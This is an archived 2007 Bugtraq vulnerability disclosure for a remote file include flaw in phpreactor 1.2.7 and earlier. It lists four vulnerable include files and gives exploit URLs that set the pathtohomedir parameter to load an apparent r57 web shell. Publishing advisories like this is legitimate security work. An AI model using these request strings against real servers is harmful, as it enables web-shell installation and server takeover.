bugtraq - phpreactor <===1.2.7 remote file include

lists.openwall.net		lists / announce john-users owl-users popa3d-users / xvendor oss-security / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4
Open Source and information security mailing list archives

This website is powered by Openwall GNU/*/Linux security-enhanced OS

[<prev] [next>] [month] [year] [list]

Date: Fri, 01 Jun 2007 15:26:56 +0300
From: "pito pito" <the-modest-pirate@...mail.com>
To: bugtraq@...urityfocus.com
Subject: phpreactor <===1.2.7 remote file include

*******************************************
*phpreactor <===1.2.7 remote file include
*
*url:http://sourceforge.net/projects/phpreactor/
*
*author:titanichacker (egy-virus)
*
*contact: hack-teach.com  &  mohandko.com & tryag.com
*
*bug in :
*
*    /inc/view.inc.php & inc/users.inc.php & inc/updatecms.inc.php & 
inc/polls.inc.php
*
*  include($pathtohomedir."/inc/cms.inc.php");
*
*
*
*
*
*exp===>
*
*http://localhost/phpreactor/inc/view.inc.php?pathtohomedir=r57.txt?
*
*http://localhost/phpreactor/inc/users.inc.php?pathtohomedir=r57.txt?
*
*http://localhost/phpreactor/inc/updatecms.inc.php?pathtohomedir=r57.txt?
*
*http://localhost/phpreactor/inc/polls.inc.php?pathtohomedir=r57.txt?
*
*and more
*
* thanx
*          cold-zero & mohandko & tryag & xp10 & drbaka & arb-hawk & kof2002 
& ilw0rm
*
*******************************************************

_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE! 
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/